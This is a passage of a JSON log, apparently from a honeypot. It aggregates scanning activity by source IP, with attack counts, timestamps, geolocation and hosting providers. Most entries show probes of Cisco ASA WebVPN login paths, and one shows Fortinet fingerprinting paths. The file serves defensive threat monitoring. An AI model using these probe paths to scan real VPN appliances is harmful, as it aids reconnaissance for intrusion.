        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.137.155.126": {
      "attack_count": 15,
      "first_seen": "2026-05-29T01:22:29.568Z",
      "last_seen": "2026-05-31T03:14:19.992Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "142.111.229.229": {
      "attack_count": 14,
      "first_seen": "2026-05-26T06:38:26.245Z",
      "last_seen": "2026-05-26T07:14:38.771Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "166.1.243.127": {
      "attack_count": 14,
      "first_seen": "2026-05-26T13:42:29.912Z",
      "last_seen": "2026-05-26T17:42:17.515Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "185.81.71.38": {
      "attack_count": 14,
      "first_seen": "2026-05-27T15:17:15.954Z",
      "last_seen": "2026-05-29T23:37:35.279Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Addison",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "186.243.185.52": {
      "attack_count": 14,
      "first_seen": "2026-05-26T01:25:19.433Z",
      "last_seen": "2026-05-27T10:46:51.068Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cissna Park",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "186.243.186.112": {
      "attack_count": 14,
      "first_seen": "2026-05-26T07:12:18.412Z",
      "last_seen": "2026-05-30T05:30:43.979Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "186.243.191.151": {
      "attack_count": 14,
      "first_seen": "2026-05-27T15:01:25.092Z",
      "last_seen": "2026-05-30T12:24:51.188Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Lewisboro",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "88.214.48.147": {
      "attack_count": 14,
      "first_seen": "2026-05-29T23:30:00.095Z",
      "last_seen": "2026-05-30T11:40:32.160Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Spokane",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "103.81.230.80": {
      "attack_count": 12,
      "first_seen": "2026-05-07T04:23:37.726Z",
      "last_seen": "2026-05-22T18:36:30.028Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "155.2.191.186": {
      "attack_count": 12,
      "first_seen": "2026-05-08T23:29:04.812Z",
      "last_seen": "2026-05-23T06:25:33.730Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "23.234.103.68": {
      "attack_count": 12,
      "first_seen": "2026-05-04T10:21:58.048Z",
      "last_seen": "2026-05-29T15:10:25.025Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.97.207": {
      "attack_count": 12,
      "first_seen": "2026-05-05T13:20:41.090Z",
      "last_seen": "2026-05-29T11:40:00.297Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "146.70.165.94": {
      "attack_count": 11,
      "first_seen": "2026-05-09T04:17:26.313Z",
      "last_seen": "2026-05-29T03:06:08.492Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.101.68": {
      "attack_count": 11,
      "first_seen": "2026-05-10T12:15:55.611Z",
      "last_seen": "2026-05-30T03:19:10.591Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "216.218.206.67": {
      "attack_count": 10,
      "first_seen": "2026-05-15T06:48:20.648Z",
      "last_seen": "2026-05-15T06:53:34.955Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "143.244.47.67": {
      "attack_count": 9,
      "first_seen": "2026-05-05T09:15:09.925Z",
      "last_seen": "2026-05-22T19:06:15.128Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "155.2.191.17": {
      "attack_count": 9,
      "first_seen": "2026-05-05T14:09:21.223Z",
      "last_seen": "2026-05-30T12:30:14.813Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "173.249.253.203": {
      "attack_count": 9,
      "first_seen": "2026-05-08T16:21:36.094Z",
      "last_seen": "2026-05-31T01:00:37.994Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "173.249.255.200": {
      "attack_count": 9,
      "first_seen": "2026-05-02T08:32:04.837Z",
      "last_seen": "2026-05-05T16:00:01.039Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.88.68": {
      "attack_count": 9,
      "first_seen": "2026-05-05T13:40:20.604Z",
      "last_seen": "2026-05-16T02:58:43.713Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "18.116.101.220": {
      "attack_count": 8,
      "first_seen": "2026-05-04T11:29:50.701Z",
      "last_seen": "2026-05-23T09:54:15.101Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "45.142.154.15": {
      "attack_count": 8,
      "first_seen": "2026-05-23T16:59:34.094Z",
      "last_seen": "2026-05-23T16:59:42.774Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/favicon.ico HTTP/1.1\" 404 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9465,
      "as_org": "AGOTOZ PTE. LTD."
    },
    "138.249.206.9": {
      "attack_count": 7,
      "first_seen": "2026-05-26T00:53:44.468Z",
      "last_seen": "2026-05-26T00:53:55.510Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.111.231.137": {
      "attack_count": 7,
      "first_seen": "2026-05-26T00:26:22.180Z",
      "last_seen": "2026-05-26T00:26:33.170Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.111.43.244": {
      "attack_count": 7,
      "first_seen": "2026-05-29T11:31:09.134Z",
      "last_seen": "2026-05-29T11:31:24.414Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "153.80.19.71": {
      "attack_count": 7,
      "first_seen": "2026-05-29T01:01:56.244Z",
      "last_seen": "2026-05-29T01:02:09.249Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "West Kingston",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "166.1.252.232": {
      "attack_count": 7,
      "first_seen": "2026-05-30T08:53:24.024Z",
      "last_seen": "2026-05-30T08:53:34.985Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "166.88.76.147": {
      "attack_count": 7,
      "first_seen": "2026-05-27T09:02:51.136Z",
      "last_seen": "2026-05-27T09:03:06.941Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.120.163.223": {
      "attack_count": 7,
      "first_seen": "2026-05-31T02:47:49.735Z",
      "last_seen": "2026-05-31T02:48:08.356Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.252.110.244": {
      "attack_count": 7,
      "first_seen": "2026-05-29T01:02:43.427Z",
      "last_seen": "2026-05-29T01:02:57.363Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "186.243.189.100": {
      "attack_count": 7,
      "first_seen": "2026-05-27T17:18:38.475Z",
      "last_seen": "2026-05-27T17:18:51.352Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "186.243.255.50": {
      "attack_count": 7,
      "first_seen": "2026-05-29T03:58:43.476Z",
      "last_seen": "2026-05-29T03:58:54.577Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Bloomingdale",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.168.216.66": {
      "attack_count": 7,
      "first_seen": "2026-05-02T04:26:50.806Z",
      "last_seen": "2026-05-08T05:17:42.616Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 399935,
      "as_org": "Hayashimo LLC"
    },
    "45.87.125.32": {
      "attack_count": 7,
      "first_seen": "2026-05-29T02:06:47.678Z",
      "last_seen": "2026-05-29T02:07:01.354Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "199.45.154.113": {
      "attack_count": 6,
      "first_seen": "2026-05-05T20:51:28.016Z",
      "last_seen": "2026-05-05T20:51:44.159Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc."
    },
    "23.234.109.68": {
      "attack_count": 6,
      "first_seen": "2026-05-03T01:08:03.158Z",
      "last_seen": "2026-05-10T06:02:03.408Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.110.150": {
      "attack_count": 6,
      "first_seen": "2026-05-10T12:23:18.734Z",
      "last_seen": "2026-05-26T11:05:07.426Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.113.61": {
      "attack_count": 6,
      "first_seen": "2026-05-30T06:22:27.688Z",
      "last_seen": "2026-05-30T06:37:59.299Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.116.24": {
      "attack_count": 6,
      "first_seen": "2026-05-07T10:42:08.029Z",
      "last_seen": "2026-05-24T03:01:51.541Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.69.199": {
      "attack_count": 6,
      "first_seen": "2026-05-02T00:57:18.498Z",
      "last_seen": "2026-05-07T03:45:09.119Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.94.24": {
      "attack_count": 6,
      "first_seen": "2026-05-17T01:29:38.288Z",
      "last_seen": "2026-05-26T05:51:58.149Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "66.132.195.99": {
      "attack_count": 6,
      "first_seen": "2026-05-17T05:56:09.576Z",
      "last_seen": "2026-05-17T05:56:54.583Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "123.58.215.102": {
      "attack_count": 4,
      "first_seen": "2026-05-26T18:33:41.964Z",
      "last_seen": "2026-05-26T18:33:42.864Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /robots.txt HTTP/1.1\" 404 -",
        "\"GET /sitemap.xml HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "185.213.154.166": {
      "attack_count": 3,
      "first_seen": "2026-05-26T12:17:24.052Z",
      "last_seen": "2026-05-26T12:17:32.425Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Gothenburg",
      "asn": 39351,
      "as_org": "31173 Services AB"
    },
    "23.234.117.80": {
      "attack_count": 3,
      "first_seen": "2026-05-08T22:38:11.536Z",
      "last_seen": "2026-05-08T22:38:23.334Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.210.9": {
      "attack_count": 3,
      "first_seen": "2026-05-06T01:36:53.520Z",
      "last_seen": "2026-05-06T01:37:00.822Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "47.250.53.69": {
      "attack_count": 3,
      "first_seen": "2026-05-08T12:26:20.713Z",
      "last_seen": "2026-05-08T12:26:24.047Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "47.251.251.105": {
      "attack_count": 3,
      "first_seen": "2026-05-03T10:08:57.967Z",
      "last_seen": "2026-05-03T10:09:01.397Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "13.58.198.185": {
      "attack_count": 2,
      "first_seen": "2026-05-27T09:37:10.084Z",
      "last_seen": "2026-05-27T09:37:13.087Z",
      "ports": [],
      "event_types": [
